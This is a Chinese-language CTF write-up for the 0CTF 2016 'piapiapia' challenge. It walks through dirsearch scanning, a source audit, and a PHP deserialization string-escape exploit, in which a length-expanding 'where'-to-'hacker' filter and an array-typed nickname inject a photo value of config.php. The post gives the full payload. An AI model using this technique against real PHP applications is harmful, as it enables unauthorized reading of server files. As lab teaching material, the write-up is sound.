[0CTF 2016]piapiapia

知识点:

信息泄露

PHP反序列化字符串逃逸(替换后导致字符串变长)

参数传递数组绕过字符串检测

题目链接

BUUCTF在线评测

1.启动环境,一个登录框

image-20211208212657892

2.dirsearch扫描

先拿dirsearch扫描一遍,第一次什么也没有扫到,全部都是429。加上延时并且调一下线程再扫描一次,这一次我们扫到了压缩文件,但是普通的php文件扫不到~~。

image-20211208212615163

<!--more-->

3.下载源码审计

image-20211208213157549

打开config.php,我们发现了flag

image-20211208213426231

继续分析源码,发现三处敏感函数:

第一个:

unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

参数:

序列化后的字符串。

若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。

返回值

返回的是转换之后的值,可为 integer、float、string、array 或 object。

如果传递的字符串不可反序列化,则返回 false,并产生一个 E_NOTICE

第二个:

file_get_contents — 将整个文件读入一个字符串

image-20211208221156183

第三个:

serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。

这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。

想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组/对象中的引用也将被存储。

image-20211208221307187

推测应该是让我们通过file_get_contents函数去请求config.php文件

如果能让photo为config.php,而这数值来自$profile的反序列化,查看$profile

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
​
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

发现有过滤

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
​
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

要进行字符串的逃逸应该先考虑用nickname来构造字符串逃逸photo应为nickname在其前面 然后发现nickname有正则过滤,考虑用数组来进行绕过

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

数组绕过后就考虑进行逃逸将photo挤出去 所以我们需要构造nickname的参数值为";}s:5:"photo";s:10:"config.php";} 这里为什么要在前面加一个}呢???,因为为了绕过nickname的正则匹配我们将其构造成了数组,数组在反序列化要进行闭合,可以尝试一下 构造代码

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
    public $nickname = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
}
$AA=new A();
echo serialize($AA)."\n";
// $res=filter(serialize($AA));
// $c=unserialize($res);
// echo $c->pass;
?>

运行结果发现数组位置进行了闭合

img

这就是为啥上面要先进行}在逃逸 构造我们想要的内容后要进行逃逸,我们发现过滤的时候将where改成了hacker,进行了字符串拓展增建了一个字符串,我们构造的字符串长度为34所以我们要构造34个where进行逃逸

参考文章: 

代码审计和原理分析可以参考一下两篇文章,阅读完毕后本人学习到了很多,十分感谢各位前辈!

php反序列化漏洞 

[0CTF 2016]piapiapia WP(详细)

4.漏洞利用

我们先通过 register.php 注册一个账号登录,上传图片抓包

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

在nickname位置输入payload抓包,把nickname改成nickname[] 数组

image-20211208220100971

然后点超链接到profile.php,看源代码找到image里面的base64字符串(因为之前分析file_get_contents的时候,它的外面还有一层base64_encode,而且它是photo参数,就是图片)

image-20211208220339588

解码获得flag

image-20211208220408332

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ErYao7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值